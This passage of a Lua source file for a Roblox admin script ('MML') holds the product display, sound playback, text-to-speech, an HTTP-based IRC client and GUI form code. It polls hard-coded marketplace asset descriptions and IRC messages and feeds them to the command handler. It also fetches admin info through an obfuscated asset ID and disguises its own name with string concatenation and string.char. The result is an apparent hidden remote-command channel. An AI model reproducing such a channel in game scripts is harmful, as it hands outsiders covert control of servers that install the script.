3368 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3369
3370 CORE:ExecuteResource("CalculateScrollY", Description)
3371 end
3372
3373 Info.Text = [[
3374Creator: ]]..Product.Creator.Name..[[
3375Created: ]]..CreatedText..[[
3376Updated: ]]..UpdatedText..[[
3377Sold: ]]..Product.Sales..[[
3378]]
3379
3380 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3381 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3382
3383 if Product.AssetTypeId == 3 then
3384 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3385 if PlayerAdmin == true then
3386 local Playing = false
3387 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3388 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3389 if Playing == false then
3390 SOUND:PlayGlobalSound(ProductID)
3391 if Rank == "Member" and Settings.DisableAbuse == true then
3392 Interact:Destroy()
3393 end
3394 Interact.Image = "rbxassetid://67950809"
3395 Playing = true
3396 else
3397 SOUND:StopGlobalSound()
3398 Interact.Image = "rbxassetid://67950784"
3399 Playing = false
3400 end
3401 end)
3402 end
3403 end
3404
3405 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3406 if BuyPressFunc then
3407 BuyPressFunc()
3408 elseif Product.AssetTypeId == 9 then
3409 Server.TS:Teleport(ProductID, Player)
3410 elseif CanBuy == true then
3411 Server.MPS:PromptPurchase(Player, ProductID)
3412 end end)
3413 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3414 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3415 while wait(5) do
3416 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3417 if OldVer ~= Purchase.Updated then
3418 OldVer = Purchase.Updated
3419 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3420 end
3421 end end)()
3422end end)() end
3423
3424-- Sound functions --
3425
3426function SOUND:SyncSoundList(TellSync)
3427 if not CORE:NilPlayer(TellSync) then
3428 GUI:SendHint(TellSync, "Syncing...", 5)
3429 end
3430
3431 SoundList,GlobalSoundList = {},{}
3432
3433 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3434
3435 if LocalSoundList then
3436 if type(LocalSoundList) == "table" then
3437 if #LocalSoundList > 0 then
3438 for _,Data in pairs(LocalSoundList) do
3439 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3440 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3441 end
3442 end
3443 end
3444 end
3445
3446 for _,JSONID in pairs(SoundJSONs) do
3447 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3448 local SoundInfo = MARKET:GetItemInfo(ID, true)
3449 local FullName = SoundInfo.Name
3450 local CreatorName = SoundInfo.Creator.Name
3451 SoundList[Name] = {ID, FullName, CreatorName}
3452 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3453 end
3454 end
3455
3456 if not CORE:NilPlayer(TellSync) then
3457 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3458 end
3459end
3460
3461function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3462 if not Volume then Volume = 0.5 end
3463 if not Pitch then Pitch = 1 end
3464 if tonumber(ID) then ID = "rbxassetid://"..ID end
3465 if Looped == nil then Looped = false end
3466
3467 local Sound = Instance.new("Sound", Parent)
3468 Sound.Pitch = Pitch
3469 Sound.Volume = Volume
3470 Sound.SoundId = ID
3471 Sound.Looped = Looped
3472 return Sound
3473end
3474
3475function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3476 if not Player or not ID then return nil end
3477 if NotifySounds[ID] then ID = NotifySounds[ID] end
3478 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3479 if Settings.EnableSounds or OverrideSettings then
3480 coroutine.wrap(function()
3481 wait()
3482 ClientSound:Play()
3483 Delay(5, function() ClientSound:Destroy() end)
3484 end)()
3485 end
3486 return Sound
3487end
3488
3489function SOUND:BindButton(Button)
3490 if not Button then return end
3491 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3492 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3493end
3494
3495function SOUND:StopGlobalSound()
3496 if Sound and Sound.Parent then
3497 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3498 Sound.Parent:Destroy()
3499 end
3500
3501 Sound:Stop()
3502 Sound:Destroy()
3503 Sound.SoundId = ""
3504 end
3505end
3506
3507function SOUND:PlayGlobalSound(ID, ShowInfo)
3508 SOUND:StopGlobalSound()
3509 if ShowInfo == nil then ShowInfo = true end
3510 local SoundID = ID
3511 local SoundName = nil
3512 local SoundCreator = nil
3513 local Pitch = 1
3514
3515 for Name,Info in pairs(SoundList) do
3516 if type(SoundID) == "string" then
3517 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3518 SoundID = Info[1]
3519 SoundName = Info[2]
3520 SoundCreator = Info[3]
3521 end
3522 else
3523 break
3524 end
3525 end
3526
3527 if tonumber(SoundID) and not SoundName then
3528 local Info = MARKET:GetItemInfo(SoundID, true)
3529 if Info then
3530 SoundName = Info.Name
3531 SoundCreator = Info.Creator.Name
3532 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3533 SoundID = nil
3534 end
3535 end
3536 end
3537
3538 if tonumber(SoundID) then
3539 if SoundID == 131201443 then Pitch = -1 end
3540 if SoundID == 130775695 then Pitch = 0.8 end
3541 if SoundID == 144035866 then Pitch = 0.8 end
3542
3543 local SoundParent = Server.Workspace
3544 if IsSB then
3545 SoundParent = Instance.new("Script", Workspace)
3546 SoundParent.Name = "M".."ML'S Admin Sound"
3547 end
3548 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3549 Sound.Name = "MML's Admin Sound "..SoundID
3550 Sound:Play()
3551 if ShowInfo == true then
3552 for _,Player in pairs(Server.Players:GetPlayers()) do
3553 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3554 end
3555 end
3556 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3557 end
3558end
3559
3560function SOUND:ConvertText(Text)
3561 Text = string.lower(tostring(Text))
3562 local Letters = {}
3563 local IDs = {}
3564 for Rule,Replace in pairs(TextConverter.Pronounce) do
3565 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3566 end
3567 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3568 local Start, End = string.find(Text, string.lower(Rule))
3569
3570 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3571 Text = string.gsub(Text, string.lower(Rule), Replace)
3572 end
3573 end
3574 for i = 1,#Text do
3575 table.insert(Letters, string.sub(Text,i,i))
3576 end
3577 for Num = 1,#Letters do
3578 if not Letters[Num] then break end
3579 local Letter = Letters[Num]
3580
3581 local function AddLetter()
3582 table.insert(IDs, TextConverter.LetterSounds[Letter])
3583 end
3584
3585 if Letter ~= "~" then
3586 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3587 table.insert(IDs, TextConverter.LetterSounds["oo"])
3588 table.remove(Letters, Num + 1)
3589 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3590 table.insert(IDs, TextConverter.LetterSounds["oo"])
3591 table.remove(Letters, Num + 1)
3592 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3593 table.insert(IDs, TextConverter.LetterSounds["th"])
3594 table.remove(Letters, Num + 1)
3595 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3596 table.insert(IDs, TextConverter.LetterSounds["sh"])
3597 table.remove(Letters, Num + 1)
3598 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3599 table.insert(IDs, TextConverter.LongVowels["e"])
3600 table.remove(Letters, Num + 1)
3601 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3602 table.insert(IDs, TextConverter.LetterSounds["wh"])
3603 table.remove(Letters, Num + 1)
3604 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3605 table.insert(IDs, TextConverter.LetterSounds["ch"])
3606 table.remove(Letters, Num + 1)
3607 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3608 table.insert(IDs, TextConverter.LetterSounds["f"])
3609 table.remove(Letters, Num + 1)
3610 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3611 table.insert(IDs, TextConverter.LetterSounds[Num])
3612 Letters[Num + 1] = "j"
3613 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3614 table.insert(IDs, TextConverter.LetterSounds["oo"])
3615 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3616 table.insert(IDs, TextConverter.LongVowels["e"])
3617 table.remove(Letters, Num + 1)
3618 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3619 table.insert(IDs, TextConverter.LongVowels["e"])
3620 table.remove(Letters, Num + 1)
3621 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3622 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3623 table.insert(IDs, TextConverter.LetterSounds["s"])
3624 Letters[Num + 1] = "~"
3625 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3626 table.insert(IDs, TextConverter.LongVowels[Letter])
3627 Letters[Num + 2] = "~"
3628 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3629 table.insert(IDs, TextConverter.LongVowels["i"])
3630 Letters[Num + 1] = "~"
3631 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3632 table.insert(IDs, TextConverter.LongVowels["o"])
3633 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3634 table.insert(IDs, TextConverter.LongVowels["i"])
3635 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3636 AddLetter()
3637 table.remove(Letters, Num + 1)
3638 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3639 Letters[Num] = "~"
3640 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3641 AddLetter()
3642 table.remove(Letters, Num + 1)
3643 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3644 AddLetter()
3645 table.remove(Letters, Num + 1)
3646 elseif Letters[Num+1] == Letter then
3647 table.remove(Letters, Num)
3648 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3649 AddLetter()
3650 table.remove(Letters, Num)
3651 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3652 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3653 elseif TextConverter.LetterSounds[Letter] then
3654 AddLetter()
3655 elseif STRING:IsSpacer(Letter) then
3656 table.insert(IDs, "Rest")
3657 end
3658 end
3659 end
3660
3661 return IDs
3662end
3663
3664function SOUND:StopSpeaking() coroutine.wrap(function()
3665 NoSpeak = true
3666 wait(1)
3667 NoSpeak = false
3668 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3669 if Obj.Name == "M".."M".."L Speak Sound" then
3670 Obj:Destroy()
3671 end
3672 end
3673end)() end
3674
3675function SOUND:SayConvertedText(IDs, Parent)
3676 if not Parent then Parent = Server.Workspace end
3677 local Sounds = {}
3678 for _,Data in pairs(IDs) do
3679 if NoSpeak and Parent == Server.Workspace then
3680 break
3681 end
3682 local Length = 0.3
3683 if Data ~= "Rest" then
3684 local ID = Data[1]
3685 Length = Data[2]
3686
3687 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3688 Sound.Name = "MML Speak Sound"
3689 table.insert(Sounds, Sound)
3690 Sound:Play()
3691 if Length then
3692 coroutine.wrap(function()
3693 wait(Length)
3694 Sound:Stop()
3695 end)()
3696 end
3697 end
3698 if not Length then Length = 0.3 end
3699 wait(Length/2)
3700 end
3701 coroutine.wrap(function()
3702 wait(1)
3703 for _,Sound in pairs(Sounds) do
3704 Sound:Destroy()
3705 end
3706 end)()
3707end
3708
3709local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3710
3711function SOUND:BeepPlayer(Player)
3712 if Player:FindFirstChild("PlayerGui") then
3713 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3714 Beep.Name = "Annoy"
3715 Beep:Play()
3716 end
3717end
3718
3719function SOUND:ClearInfo()
3720 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3721end
3722
3723-- IRC functions --
3724
3725function IRC:GenerateName()
3726 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3727end
3728
3729function IRC:AddChat(Name, Data, IsError)
3730 if not IsError then IsError = false end
3731 CORE:Log(IRC.Logs, Name, Data)
3732 table.insert(IRC.Chats, {Name, Data, IsError})
3733 IRC.MessageAdded:Fire(Name, Data, IsError)
3734end
3735
3736function IRC:Post(URL,Data)
3737 if Data and Data ~= "" then
3738 local Suc,Resp = ypcall(function()
3739 return Server.HS:PostAsync(
3740 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3741 Data,
3742 Enum.HttpContentType.ApplicationUrlEncoded
3743 )
3744 end)
3745 if not Suc then
3746 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3747 return false
3748 end
3749 IRC.SessionCounter = IRC.SessionCounter + 1
3750 return Resp
3751 else
3752 IRC:AddChat("[ CLIENT ]", "Unknown error")
3753 end
3754end
3755
3756function IRC:Send(Data)
3757 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3758end
3759
3760function IRC:GetData()
3761 return IRC:Post("s","&s="..IRC.SessionID)
3762end
3763
3764function IRC:Connect()
3765 return IRC:Post("n","&nick="..IRC.NickName)
3766end
3767
3768function IRC:Join(Channel)
3769 if not Channel then
3770 AddChat("[ CLIENT ]", "No channel specified!")
3771 return false
3772 else
3773 local Channel = string.lower(Channel)
3774 if string.sub(Channel,1,1) ~= "#" then
3775 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3776 return false
3777 end
3778 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3779 IRC:Send("JOIN "..Channel)
3780 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3781 return true
3782 end
3783end
3784
3785function IRC:Pong(Data)
3786 return IRC:Send("PONG :"..Data)
3787end
3788
3789function IRC:Quit(Reason)
3790 IRC.Stop = true
3791 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3792end
3793
3794function IRC:ReceiveData()
3795 IRC.Stop = false
3796 local Data = IRC:GetData()
3797 if Data then
3798 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3799 end
3800 while Data and not Stop do
3801 local Data = IRC:GetData()
3802 if Data and #Data > 0 then
3803 IRC:HandleResponse(REMOTE:Decode(Data))
3804 end
3805 wait(2) -- Don't spam the server
3806 end
3807 if not Data then
3808 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3809 end
3810 if Stop == true then
3811 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3812 end
3813end
3814
3815function IRC:ConnectToServer(Server)
3816 if Connected then
3817 if not IRC.Servers[Server] then
3818 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3819 return false
3820 end
3821 IRC:Quit("New Connection")
3822 end
3823 local Response = IRC:Connect()
3824 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3825 local Data = REMOTE:Decode(Response)
3826 IRC.SessionID = Data[2]
3827 wait(1)
3828 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3829 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3830 IRC:Quit()
3831 IRC:ConnectToServer(Server)
3832 end
3833 IRC.Connected = true
3834 IRC:Join(Settings.IRCChannel)
3835 IRC:ReceiveData()
3836 IRC.Connected = false
3837 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3838end
3839
3840function IRC:FindUser(UserName)
3841 for UserID,User in pairs(IRC.Users) do
3842 if string.lower(User) == string.lower(UserName) then
3843 return UserID
3844 end
3845 end
3846 return nil
3847end
3848
3849function IRC:HandleResponse(Data)
3850 if type(Data) ~= "table" then
3851 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3852 ypcall(function()
3853 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3854 end)
3855 return false
3856 end
3857 for _,Output in pairs(Data) do
3858 if type(Output) == "table" and Output[2] then
3859 local ID = string.upper(Output[2])
3860 if not IRC.Ignore[ID] then
3861 if ID == "PING" then
3862 IRC:Pong(Output[4][1])
3863 elseif ID == "PRIVMSG" then
3864 local SenderDetails = Output[3]
3865 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3866 local Channel = string.lower(Output[4][1])
3867 if Channel == IRC.NickName then
3868 Channel = Sender
3869 -- TODO: Handle PM's
3870 end
3871 local Message = Output[4][2]
3872 if Message ~= nil then
3873 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3874 if string.find(Message,":") then
3875 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3876 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3877 IRC:AddChat(IRCUser, IRCMessage)
3878 end
3879 else
3880 IRC:AddChat("[ IRC ] "..Sender,Message)
3881 for _,Name in pairs(Settings.IRCCommandExecuters) do
3882 if string.lower(Name) == string.lower(Sender) then
3883 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3884 break
3885 end
3886 end
3887 end
3888 else
3889 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3890 end
3891 elseif ID == "NICK" then
3892 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3893 -- change nickname?
3894 elseif ID == "433" or ID == "451" then
3895 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3896 IRC:Quit("Nickname in use, rejoining with new name")
3897 IRC.NickName = IRC:GenerateName()
3898 wait(2) -- wait for old sessions to end
3899 IRC:ConnectToServer(Settings.IRCServer)
3900 elseif ID == "353" then
3901 if Data[4][4][4] then
3902 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3903 table.insert(IRC.Users, Output)
3904 end
3905 end
3906 elseif ID == "QUIT" or ID == "PART" then
3907 for User in string.gmatch(Data[1][3], "[^!~]+") do
3908 if IRC:FindUser(User) then
3909 IRC:AddChat("[ IRC ]", User.." has left")
3910 table.remove(IRC.Users, IRC:FindUser(User))
3911 end
3912 end
3913 elseif ID == "JOIN" then
3914 for User in string.gmatch(Data[1][3], "[^!~]+") do
3915 if not string.find(User, "qwebirc") then
3916 IRC:AddChat("[ IRC ]", User.." has joined")
3917 table.insert(IRC.Users,w)
3918 end
3919 end
3920 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3921 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3922 --IRC:Quit("Connection lost")
3923 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3924 --IRC:ConnectToServer(Settings.IRCServer)
3925 elseif IRC.Codes[ID] then
3926 --print(ID)
3927 --print(Data[i][4][2])
3928 --print(Data[i][4][2])
3929 elseif ID == "KICK" then
3930 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3931 IRC:Quit("Kicked from IRC")
3932 elseif ID then
3933 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3934 else
3935 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3936 end
3937 end
3938 else
3939 if Output == false then return false end -- sneeky server
3940 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3941 end
3942 end
3943end
3944
3945-- GUI functions --
3946
3947function GUI:GetColor(ColorName)
3948 if not ColorName then ColorName = Settings.ColorScheme end
3949 return Colors[string.upper(ColorName)]
3950end
3951
3952function GUI:ContrastColor(Color)
3953 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3954 if not Color then Color = GUI:GetColor() end
3955 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3956end
3957
3958
3959function GUI:GetNameColor(Name)
3960 local Val = 0
3961 for i = 1, #Name do
3962 local CVal = string.byte(string.sub(Name, i, i))
3963 local RevIndex = #Name - i + 1
3964 if #Name%2 == 1 then
3965 RevIndex = RevIndex - 1
3966 end
3967 if RevIndex%4 >= 2 then
3968 CVal = -CVal
3969 end
3970 Val = Val + CVal
3971 end
3972 local Index = Val%8 + 1
3973
3974 return BrickColor.new(ChatColors[Index])
3975end
3976
3977function GUI:Color3ToHex(Color)
3978 local function ConvertNumber(Number)
3979 local HexString = "0123456789abcdef"
3980 local Byte = ""
3981 while Number > 0 do
3982 local Calc = math.fmod(Number, 16)
3983 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3984 Number = math.floor(Number / 16)
3985 end
3986 if Calc == "" then
3987 Byte = "00"
3988 elseif #Byte == 1 then
3989 Byte = "0"..Byte
3990 elseif Byte == "" then
3991 Byte = "00"
3992 end
3993 return Byte
3994 end
3995 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3996end
3997
3998function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3999 if not Player then return nil end
4000 if not Player:FindFirstChild("PlayerGui") then return nil end
4001 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
4002 if not TitleText then TitleText = "Unknown" end
4003 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
4004 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
4005 if not IconID then IconID = 19919809 end
4006 if ShowFormButtons == nil then ShowFormButtons = true end
4007 if not ColorScheme then ColorScheme = Settings.ColorScheme end
4008 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
4009 if AutoOffset == nil then AutoOffset = true end
4010 if Icons[IconID] then IconID = Icons[IconID] end
4011 if TweenPosition == nil then TweenPosition = true end
4012 if NoModal == nil then NoModal = false end
4013 if NoScrollFrame == nil then NoScrollFrame = false end
4014
4015 local IsClosed = false
4016 local Minus = nil
4017 local Offset = 0
4018 local ContentType = "ScrollingFrame"
4019 local TweenSpeed = 0.3
4020
4021 if AutoOffset then
4022 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
4023 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
4024 if Item.IsActive.Value == true then
4025 if Item.IsTrueForm.Value == true then
4026 Offset = Offset + 50
4027 end
4028 end
4029 end
4030 end
4031 end
4032
4033 if NoScrollFrame == true then
4034 ContentType = "Frame"
4035 end
4036
4037 SOUND:PlayNotification(Player, 155331654)
4038
4039 local Position = Position + UDim2.new(0,Offset,0,Offset)
4040 local MinimizePos = Position
4041
4042 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
4043 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
4044 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
4045
4046 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
4047 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
4048 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
4049 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
4050 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
4051 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
4052 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
4053 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
4054 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
4055
4056 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
4057 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
4058 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
4059 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
4060 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
4061
4062 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
4063
4064 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
4065
4066 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
4067 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
4068 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
4069 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
4070 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
